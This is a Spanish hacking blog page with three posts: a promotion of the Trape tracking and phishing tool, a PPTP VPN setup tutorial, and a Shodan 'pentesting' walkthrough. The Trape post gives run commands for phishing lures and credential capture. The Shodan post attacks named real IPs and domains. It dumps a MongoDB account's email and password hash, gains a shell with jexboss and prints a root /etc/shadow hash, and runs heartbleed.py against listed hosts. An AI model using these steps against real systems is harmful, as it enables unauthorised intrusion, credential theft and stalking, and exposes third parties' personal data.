HACKER ANGELWHITE GALC

martes, 31 de octubre de 2017

trape (fuente abierta)

Perseguidor de personas en Internet: aprenda a rastrear el mundo para evitar su localización.


Trape es una herramienta de reconocimiento que le permite rastrear personas , la información que puede obtener es muy detallada. Queremos enseñarle al mundo a través de esto, ya que las grandes compañías de Internet podrían monitorearlo, obteniendo información más allá de su IP.

- encabezado de trape

Algunos beneficios

  • Una de sus funciones más atractivas es el reconocimiento remoto de sesiones. Puede saber dónde se ha conectado una persona, de forma remota. Esto ocurre a través de una derivación realizada en la misma política de origen ( SOP)
  • Actualmente puedes probar todo desde una interfaz web. La consola, se convierte en una vista previa de los registros y acciones )
  • El registro de las víctimas, las solicitudes entre otros datos se obtienen en tiempo real.
  • Si obtiene más información de una persona detrás de una computadora, puede generar un ataque más directo y sofisticado. Trape fue utilizado en algún momento para rastrear criminales y conocer su comportamiento .
  • Puedes hacer ataques de phishing en tiempo real
  • Ataques simples de enganche
  • Cartografía
  • Detalles importantes del objetivo
  • Captura de credenciales

Cómo usarlo

Primero descarga la herramienta.
git clone https://github.com/boxug/trape.git
cd trape
python trape.py -h
Si no funciona, intente instalar todas las bibliotecas que se encuentran en el archivo requirements.txt
pip install -r requirements.txt
Ejemplo de ejecución
Example: python trape.py --url http://example.com --port 8080
  • En la opción --url debe poner el señuelo, puede ser una página de noticias, un artículo algo que sirve como página de presentación.
  • En la opción de puerto, simplemente colocas el puerto donde quieres que se ejecute
  • ¿Te gusta monitorear a tu gente? Todo es posible con Trape
  • ¿Desea realizar ataques de phishing? Todo es posible con Trape
  • En el directorio de Archivos, ubicado en la ruta: / static / files, aquí agrega los archivos con la extensión .exe o descarga los archivos enviados a la víctima.
Esta es una pequeña introducción para usar en español : https://www.youtube.com/watch?v=ptyuCQmMKiQ
En un evento de seguridad internacional en Colombia, llamado DragonJAR Security Conference 2017, se realizó una demostración antes del lanzamiento. Puedes ver el video aquí: https://www.youtube.com/watch?v=vStSEsznxgE

Renuncia

Esta herramienta se ha publicado con fines educativos con el fin de enseñar a las personas cómo los chicos malos podrían rastrearlos o monitorearlos u obtener información de sus credenciales, no somos responsables del uso o el alcance que puedan tener las personas a través de este proyecto.
Estamos totalmente convencidos de que si enseñamos cuán vulnerables son las cosas, podemos hacer que Internet sea un lugar más seguro.

Desarrolladores o participantes

Las siguientes personas son parte del núcleo del desarrollo y la investigación en Boxug.
Este desarrollo y otros, los participantes serán mencionados con nombre, Twitter y cargo.

Versión profesional

Sí, también tenemos una versión profesional con características más sofisticadas. Si desea obtener la versión profesional o la solicitud contáctenos en hey@boxug.com

¡Feliz hacking!

Te invito, si usas esta herramienta ayuda a compartir, colaborar. Hagamos de Internet un lugar más seguro, informemos.

Licencia

El contenido de este proyecto en sí está bajo la licencia Creative Commons Attribution 3.0 y el código fuente subyacente utilizado para formatear y mostrar ese contenido está licenciado bajo la licencia MIT .
Copyright, 2017 by boxug - Primero su seguridad



domingo, 29 de octubre de 2017

Crear servidor VPN en Linux



En este tutorial vamos a aprovechar el servidor Linux que montamos sobre Debian para montarnos una red VPN, de manera que cuando estemos fuera de casa y naveguemos por una red publica o no confiable podamos conectarnos a nuestra red VPN y que todo nuestro trafico web este encriptado y no puedan leer nuestros datos y asi navegar de forma segura.


¿Que es una VPN?

Primero de todo vamos a explicar en que consiste una VPN (Virtual Private Network). Una VPN como bien dice su nombre es una red privada que no es fisica si no virtual. Una red fisica seria como la que tenemos en nuestras casa donde conectamos nuestro pc al router, y si tenemos varios pcs, podemos conectarnos entre ellos.
La VPN realiza el mismo cometido pero de forma virtual, nos crea una red donde ya no es necesario que los pcs conectados a dicha red, esten en la misma casa o pais. Para que os hagais una idea, Hamachi nos crea una vpn para que podamos jugar o conectarnos con otros pcs.
Estas redes se suelen usar en empresas para conectar diversas sedes entre ellas y así poder trabajar como si estuvieran todos en la misma red física, o para crear redes aisladas de la propia red local. Para conectar a una red vpn necesitamos tener un usuario y contraseña que nos será proporcinada por la persona que nos habilite el acceso a dicha VPN. Podeis encontrar mas información en la Wikipedia – VPN.

Pre requisitos

Haber configurado una ip estática en nuestro servidor Linux. Si no sabéis como hacerlo, podéis seguir el tutorial que publicamos en su día titulado configurar tarjeta de red con ip estática en Debian sin interfaz gráfica.

Instalando software para crear la VPN

Si ya hemos configurado nuestra ip estática en nuestro servidor, ahora procedemos a instalar el programa / servicio encargado de crearnos la red privada virtual (VPN). Tenemos que iniciar sesión con un usuario que tenga permisos de administracion, ya que sino no podremos instalar nada.
Ejecutamos el siguiente comando en la consola (si estais conectados como otro usuario que no es root, debeis poner sudo delante).
apt-get install pptpd

Nos indicará que se va a proceder a la instalación del paquete PPTPD y que es necesario el BCRELAY, así que aceptamos la instalación.


Configurando el servidor VPN


Configurando IPs de la VPN

Lo primero que vamos a hacer es asignarle una ip estática al servidor VPN pero que sea una ip de la VPN, no tiene nada que ver con el paso anterior de configurar ip estática en Debian. Para ello vamos a editar el archivo /etc/pptpd.conf usando el editor de archivos para consola llamado nano.
nano /etc/pptpd.conf

Una vez estamos dentro del archivo, bajamos al final de todo usando las flechas o bien la tecla AvPag del teclado. Una vez estamos al final del fichero, hemos de añadir las ips que queremos que tenga nuestra red vpn. Para ello debemos saber que rango de ip privadas queremos ponerles. Clase A, clase B, clase C ? En nuestro caso usaremos una IP de clase A pero usando una mascara de red para clase C, para mas información podéis ir a la Wikipedia – Red privada).
Las IPs privadas son ips que estan reservadas para uso domestico/privado, vease que no se pueden tener como ip publica nunca, ningun operador de internet debe asignarlas a tu conexion de internet.
Como hemos dicho, nosotros usaremos la ip de clase A 10.X.X.X pero con una mascara de subred de clase C.
En el archivo añadimos las siguientes lineas.
localip 10.1.1.1
remoteip 10.1.1.10-254


En la primera linea, estamos asignándole al servidor la ip estática 10.1.1.1 para la red VPN. En la segunda linea, estamos diciéndole al servidor VPN que a los clientes que se conecten les asigne una ip que este entre la 10.1.1.10 y la 10.1.1.254 incluyendo ambas.
El último numero nunca ha superar el numero 254, ni ser inferior al numero 1 y tampoco puede ser igual que el numero que hemos puesto en el localip (ojo los tres primeros números si que han de ser iguales). Para finalizar, guardamos el archivo pulsando Control + O y luego salimos con Control + X

Alta de usuarios

Para que los usuarios o nosotros nos podamos conectar a nuestra red VPN, debemos dar de alta usuarios. Para ello editaremos el archivo /etc/ppp/chap-secrets.
nano /etc/ppp/chap-secrets

La sintaxis que debemos ponerle al archivo es la siguiente
loginusuario pptpd contraseña *
loginusuario2 pptpd contraseña2 *

Los espacios deben ser tabulaciones. El pptpd es para indicar el tipo de servidor VPN, como hemos instalado el pptpd, pues le indicamos que use ese. El asterisco sirve para decirle que le asigne cualquier IP de el rango que le hemos indicado en el archivo anterior. Si queremos asignarle una por algun motivo en especial, deberemos cambiar el asterisco por la ip que queramos asignarle. Guardamos el archivo pulsando Control + O y salimos con Control + X

Configurar firewall iptables

Para poder conectarnos a nuestro servidor VPN debemos configurar el firewall de manera que nos acepte las conexiones para ese servicio. Para ello debemos añadir el siguiente comando al final del archivo /etc/rc.local , pero antes de exit 0.
iptables -t nat -A POSTROUTING -s 10.1.1.0/24 -o eth0 -j MASQUERADE

Donde pone eth0 es el nombre de nuestra interfaz de red, podéis saberlo haciendo ifconfig o bien revisando el archivo donde hemos configurado anteriormente la ip estática real de el servidor (pre requisitos).

Guardamos pulsando Control + O y salimos con Control + X.

Navegar por Internet través de la VPN

Esto es opcional, ya que solo lo vamos a usar si queremos navegar de forma segura desde redes publicas como puede ser la red de una biblioteca, wifi abierta, etc… al activarlo lo que estaremos haciendo es salir a Internet como si estubieramos conectados en casa, véase saldremos desde nuestro router a internet. Mucha gente alquila servidores VPN para poder saltarse bloqueos que ponen los gobiernos, o ISP a ciertas paginas, de forma que ellos se conectan a una VPN con forwarding activado para poder navegar sin problemas. Un ejemplo seria poder descargar series o musica desde paises donde esta prohibido la descarga de estos materiales, usariamos una VPN de un pais donde si estubiera permitido tales acciones, y nuestro ISP no podria ver que es lo que estamos haciendo, ya que la conexion ira cifrada al ser una VPN.
Sea cual sea el motivo, para activar el IP Forwarding debemos editar un par de archivos más. El archivo /etc/sysctl.conf
nano /etc/sysctl.conf

Buscamos la linea #net.ipv4.ip_forward=1 y le eliminamos el # de delante, dejando que quede asi
net.ipv4.ip_forward=1

Por último editamos el archivo /etc/ppp/options, si encontramos las siguientes lineas (el numero sera diferente)
#ms-dns 208.67.222.222
#ms-dns 208.67.220.220
las editamos eliminando el # que tienen delante y poniendo unos servidores DNS que queramos. Unos buenos servidores DNS son los que he puesto yo (OpenDNS), de manera que al final quede
ms-dns 208.67.222.222
ms-dns 208.67.220.220

Guardamos pulsando Control + O y salimos con Control + X y a continuación reiniciamos el servidor usando el comando
reboot
en el caso de que os salga un mensaje que no teneis permisos de administracion o que el comando se ha de lanzar como superusuario, simplemente añadirle sudo delante
sudo reboot

Configurando el router para la VPN

Para poder conectar desde Internet a nuestra VPN, debemos configurar el router de nuestra conexión a Internet de forma que nos deje pasar el puerto 1723 para la dirección que estática que le hemos puesto. Para abrir los puertos de vuestro router podéis encontrar información en http://www.driverlandia.com/abriendo-las-puertas-a-internet-solo-si-tienes-router/ y también habilitar la opción de PPTP en los Linksys en la sección Security > VPN Passthrough. Para otras marcas, podéis usar Google o bien siguiendo en enlace que os he puesto justo encima.


Una vez ya tengamos todo configurado, podemos probar de conectarnos mediante Windows , Linux, MacOS o incluso routers que soporte conexiones a VPN como los Cisco o Linksys. No hace falta decir que el ordenador que hace de servidor VPN debe estar encendido cuando queramos conectarnos a ella.



PENTESTING CON SHODAN & EXPLOITS FUNCIONALES





Saludos fieles lectores, luego de un largo tiempo de vacaciones nuevamente estoy retomando el blog, es un placer nuevamente servirles como lo eh estado asiendo desde años atrás.

Sin mas que decir, hoy tocaremos el tema sobre "SHODAN" en su modo Pentesting, utilizando Exploits funcionales que les ayudara  a comprender y auditar servidores vulnerables que existen.

Si deseas aprender lo basico de shodan puedes visitar el siguiente enlace:

http://www.backtrack-omar.com/2015/02/shodan-el-buscador-del-informatico-de.html

en primer lugar antes de pasar con la metodología de explotación, tendremos un "Extra" con un gestor de base de datos "poco conocido por algunos", pero utilizados por servidores grandes & pequeños.

MONGODB:

MongoDB es un sistema de base de datos NoSQL orientado a documentos, desarrollado bajo el concepto de código abierto. MongoDB forma parte de la nueva familia de sistemas de base de datos NoSQL

fuente & más información:

https://es.wikipedia.org/wiki/MongoDB 

como sabemos MongoDB es un sistema de DB basado en el concepto Open source, pero porque tal gestor esta en este POST.


En su plataforma web, shodan tiene varias secciones donde podemos interactual con ellos, un claro ejemplo es "Databases":

https://www.shodan.io/explore/category/databases


Podemos ver que nos muestra servicios conocidos tales como "MySQL" y "PostgreSQL" denominado (El Oracle OpenSource).

Entre otros el que utilizaremos en esta prueba de concepto "MongoDB",etc.

Ustedes poden darle "CLIP" al servicio mongoDB O simplemente utilizar su "DORK" para una búsqueda personalizada.

product:MongoDB

Podemos observar en la imagen solo nos muestra "2" resultados, que si lo leen bien tenemos lo que se le denomina "FUGA DE INFORMACIÓN".

¿Que es una fuga de información?

Son datos de información delicados o sensibles de un servicio privado que se muestra por motivos humanos o directorios mal protegidos, pero en su gran mayoria existen servicios que muestran tales datos como lo es MongoDB:


Target: 

173.208.176.236


Database NameSize
zakey49.8 GB
local2.1 MB
admin1 byte







Tenemos: LA IP y las base de datos que nos arroja directamente, si bien sabemos que un servidor con credenciales no arroja mas halla que un panel de usuario, porque en esta busqueda nos arroja datos sensibles.

Es simple, porque al buscar el producto MongoDB, shodan empieza a recopilar la información de tal gestor de base de datos, que tiene una mala configuración de seguridad.

¿como podemos "Acceder" a los servicios vulnerables?

 bueno es simple, si estas en GNU puedes instalar el servicio mongoDB de la siguiente manera:

root@kali:~# apt-get install mongodb
 una ves instalado, debemos activar el servicio de la siguiente manera:

root@kali:~# service mongodb start

luego de activar el servicio, como puedes ver si esta activado pues es simple:

root@kali:~# service mongodb status


como vemos en la imagen nuestro servicio esta activo, ahora como lo conectamos a nuestro victima.

En esta prueba de concepto nuestra victima sera:   

https://myeglu.com/ 

https://www.shodan.io/host/104.155.198.131


Conectando al servidor de nuestra victima:

root@kali:~# mongo --host 104.155.198.131

como vemos que nos hemos conectado al servidor por medio de la shell, ahora les enseñare el proceso de sintaxis de mongodb para poder interactuar en la base de datos.


 > show dbs                      - ver todas las base de datos.

 > use shop                       - Escoger la base de datos para interactuar.



 > show tables                  - ver tas tablas de la base de datos.


 > db.accounts.findOne() - Extraer todos los atributos de una tabla.

Lo primero que hice fue establecer una vista a las base de datos del servidor, posteriormente escogí la base de datos llamada "shop", luego ejecute show tables para ver todas las tablas que tiene y sin dudar dumpie los datos de la tabla "accounts" y pude obtener los atributos de dicha credencial:

"name" : "gopinath@wiznsystems.com",
"email" : "gopinath@wiznsystems.com",
"password" :   "$2a$07$342f56c383d6bd241ed54OLVQdfEDP3jZA.PiaO8BGP3yosLCevRy",
"roles" : [
"admin"



de igual manera tu puedes editar todo los atributos de las columnas porque tienes todos los privilegios necesarios, si eres de las personas que se aburren escribiendo todo en texto plano dichas sintaxis, puedes instalar "Robomongo" - GUI para facilitarte todo este proceso:



Descarga:

https://robomongo.org/download 



Pentesting

Explotando un servidor apache obteniendo una SHELL por medio del fallo 5-5.
de tomcat.

EL fallo tiene mucho tiempo de a ver sido descubierto, hace mucho  tiempo, en mi caso hubiera elegido hacerlo por msfconsole pero me dio mucha flojera xD
ya que me hubiera gustado enseñarles como auditar un servidor apache para saber si es o no vulnerable, y explotarlo por diferentes maneras, pero creo que por mas técnicas que les enseñe, todo ese proceso puedo ser optimizado por el siguiente exploit: 

"Jexboss


https://github.com/joaomatosf/jexboss


Descarga:

root@kali:~# git clone https://github.com/joaomatosf/jexboss


Encontrar servidores vulnerable:
  

Server: Apache-Coyote/1.1 Tomcat-5.5





En mi caso elegí un servidor de mi país:

http://190.102.149.180:8080/

Si desean utilizar una búsqueda personalizada pueden utilizar las siguientes dorks:

country:es           "PAÍS" 
city:barcelona     "CIUDAD"
hostname:es        "DOMINIO"

ustedes pueden efectuar cualquier rango de país que deseen.

root@kali:~#cd tomcat

root@kali:~/tomcat# python jexboss.py -host http://190.102.149.180:8080/


como vemos hemos obtenido una sesión por medio de una shell, lo que haremos sera verificar en que S.O esta corriendo, por mi parte viendo que es un ordenador peruano, suponía que seria un windows server xD!

Les dejare algo en claro, si el sistema operativo es "WINDOWS" debemos utilizar interpretes de comandos #CMD, para poder interactuar correctamente con el servidor.






Si fuese un sistema "GNU" puedes utilizar el comando "uname -a" para saber la kernel que esta utilizando, pero este exploit automáticamente te detecta y muestra el kernel.


la navegación muy diferente un ejemplo para ver los directorios y que permisos tendríamos ejecutan: ls -la.

si deseas obtener credenciales del usuario del sistema operativo utilizaremos 2 comandos:


Shell> cat /etc/passwd - sirve para verificar los usuarios que corren en diferentes servicios.
 

Shell> cat /etc/shadow -dumpear credenciales de servicios principales.
 

Credencial:
  
root:$6$3cdgngze$gafERX.OCPKvDAhgp9WyriAnR/iuDBZq6WjcZxe8BaFGga/Z5Zz1cCfj7aCxrrZB20RL3j6frbVBDzCZiCa9g0:17107:0:99999:7:::
 

Bueno si deseas obtener la contraseña puedes hacerlo por "brute force" o simplemente ejecutando una sesión meterpreter por msfconsole y empezar a desmadrar el servidor, por un Exploit local.

Cabe decir que el exploit recientemente ha sido actualizado, con la cual se han añadido mas servicios vulnerables y un "BYPASS" sobre algunos WAF.


Exploit heartbreak 

Sin duda uno de los BUG's mas peligrosos a nivel mundial, que se descubrió en el año 2014, aun recuerdo esos años con el foro BlackLastSecurity que funde con mi buen amigo, Kelvin Parra.

Empresas importantes a nivel mundial fueron victima de ataques como:
Youtube, Facebook, Google, Twitter, etc, un 99.9 % de servidores a nivel mundial fueron comprometidos en aquel entonces.
Seguimos con algunos "Tips", si bien es cierto algunas personas no han explotado un servidor con la vulnerabilidad Open SSL llamado Heartbleed.

Si deseas encontrar algunos de estos servidores vulnerables "SHODAN" te ofrece una búsqueda avanzada:

https://www.shodan.io/search?query=vuln:cve-2014-0160


Tenemos 141,927 resultados, para que vayan experimentando este tipo de ataque.


Exploit:

https://mega.nz/#!vURiyJgY!aooAkIOuSX02CpYwjS45XI3zBD5GfLAM28qsfywJgJs

Una ves descargado lo extraemos con el nombre de la carpeta "bleed", posteriormente pasaremos a ingresar a dicha carpeta.

root@kali:~# cd bleed

modo de uso la mayoría de dispositivos encontrados trabajan con el puerto 443:

https://www.shodan.io/host/209.166.152.220

root@kali:~# python heartbleed.py 209.166.152.220 

Se ejecutaría de esta manera, sin el puerto por el simple hecho de tener el puerto por default


Este host corre el servicio en el puerto 8443:

https://www.shodan.io/host/188.165.216.132

Entonces lo ejecutaríamos de esta manera:

root@kali:~# python heartbleed.py 188.165.216.132 8443


Hemos explotado el servidor correctamente capturando el trafico de peticiones en vivo, este bug es temido porque captura el trafico de datos de peticiones de la web en su totalidad, cabe decir que si una "organización" grande como facebook en el 2014 millones de peticiones se hacían por minuto, cuantas credenciales fueron capturadas en vivo.

Ahora imagínese en empresas millonarias como PayPal, Ebay, etc el dolor de cabeza que tuvieron en aquel entonces y los millones de dolares que se perdieron.

por ultimo no quiero hacer este POST demasiado largo con otros métodos, espero haberles ayudado.

Saludos!